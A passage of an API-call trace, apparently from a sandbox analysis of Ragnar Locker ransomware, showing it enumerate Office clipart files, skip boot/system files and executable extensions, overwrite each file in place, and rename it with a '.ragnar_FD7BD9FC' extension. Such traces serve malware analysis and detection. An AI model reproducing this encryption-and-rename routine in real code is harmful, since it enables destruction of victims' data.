cAlternateFileName="")) returned 1 [0082.475] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.475] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00513_.WMF" | out: lpString1="HH00513_.WMF") returned="HH00513_.WMF" [0082.475] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned=".WMF" [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="autorun.inf") returned 1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="boot.ini") returned 1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="bootfont.bin") returned 1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="bootsect.bak") returned 1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="bootmgr") returned 1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="bootmgr.efi") returned 1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="desktop.ini") returned 1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="iconcache.db") returned -1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="ntldr") returned -1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="ntuser.dat") returned -1 [0082.475] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.476] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="ntuser.ini") returned -1 [0082.476] lstrcmpiW (lpString1="HH00513_.WMF", lpString2="thumbs.db") returned -1 [0082.476] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.476] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.476] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.476] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.476] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.476] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.476] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x20 [0082.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.476] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=818) returned 1 [0082.476] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x329, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.476] GetProcessHeap () returned 0x580000 [0082.476] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.476] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.480] VirtualAlloc (lpAddress=0x0, dwSize=0x332, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.480] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.480] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.481] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x332, lpOverlapped=0x0) returned 1 [0082.481] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.481] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x332, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.481] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x332, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x332, lpOverlapped=0x0) returned 1 [0082.481] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x332, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.481] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.481] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x332, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.481] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.481] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.481] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.481] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.481] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.482] GetProcessHeap () returned 0x580000 [0082.482] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.482] CloseHandle (hObject=0xf4) returned 1 [0082.482] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" [0082.482] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.ragnar_FD7BD9FC" [0082.482] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.482] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0082.482] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.482] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00524_.WMF" | out: lpString1="HH00524_.WMF") returned="HH00524_.WMF" [0082.482] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned=".WMF" [0082.482] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.482] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="autorun.inf") returned 1 [0082.482] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="boot.ini") returned 1 [0082.482] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="bootfont.bin") returned 1 [0082.482] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="bootsect.bak") returned 1 [0082.482] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="bootmgr") returned 1 [0082.483] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="bootmgr.efi") returned 1 [0082.483] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.483] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="desktop.ini") returned 1 [0082.483] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="iconcache.db") returned -1 [0082.483] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="ntldr") returned -1 [0082.483] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="ntuser.dat") returned -1 [0082.483] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.483] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="ntuser.ini") returned -1 [0082.483] lstrcmpiW (lpString1="HH00524_.WMF", lpString2="thumbs.db") returned -1 [0082.483] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.483] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.483] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.483] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.483] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.483] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.483] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x20 [0082.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.483] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14688) returned 1 [0082.483] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3957, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.483] GetProcessHeap () returned 0x580000 [0082.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.483] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.485] VirtualAlloc (lpAddress=0x0, dwSize=0x3960, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.485] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.485] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3960, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3960, lpOverlapped=0x0) returned 1 [0082.486] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.487] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3960, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.487] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3960, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3960, lpOverlapped=0x0) returned 1 [0082.487] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3960, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.487] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.487] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.487] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.487] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.487] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.487] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.487] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.487] GetProcessHeap () returned 0x580000 [0082.487] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.488] CloseHandle (hObject=0xf4) returned 1 [0082.488] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" [0082.488] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.ragnar_FD7BD9FC" [0082.488] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0082.488] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.488] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00526_.WMF" | out: lpString1="HH00526_.WMF") returned="HH00526_.WMF" [0082.488] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned=".WMF" [0082.488] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.488] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="autorun.inf") returned 1 [0082.488] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="boot.ini") returned 1 [0082.488] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="bootfont.bin") returned 1 [0082.488] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="bootsect.bak") returned 1 [0082.488] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="bootmgr") returned 1 [0082.488] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="bootmgr.efi") returned 1 [0082.488] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.488] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="desktop.ini") returned 1 [0082.489] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="iconcache.db") returned -1 [0082.489] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="ntldr") returned -1 [0082.489] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="ntuser.dat") returned -1 [0082.489] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.489] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="ntuser.ini") returned -1 [0082.489] lstrcmpiW (lpString1="HH00526_.WMF", lpString2="thumbs.db") returned -1 [0082.489] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.489] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.489] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.489] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.489] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.489] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.489] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x20 [0082.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.489] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13538) returned 1 [0082.489] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x34d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.489] GetProcessHeap () returned 0x580000 [0082.489] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.489] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.491] VirtualAlloc (lpAddress=0x0, dwSize=0x34e2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.491] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.491] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.491] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x34e2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x34e2, lpOverlapped=0x0) returned 1 [0082.492] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.492] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x34e2, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.492] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x34e2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x34e2, lpOverlapped=0x0) returned 1 [0082.492] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x34e2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.492] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.493] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x34e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.493] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.493] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.493] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.493] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.493] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.493] GetProcessHeap () returned 0x580000 [0082.493] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.493] CloseHandle (hObject=0xf4) returned 1 [0082.493] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" [0082.493] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.ragnar_FD7BD9FC" [0082.493] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0082.494] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.494] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00527_.WMF" | out: lpString1="HH00527_.WMF") returned="HH00527_.WMF" [0082.494] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned=".WMF" [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", lpString2="autorun.inf") returned 1 [0082.494] lstrcmpiW (lpString1="HH00527_.WMF", 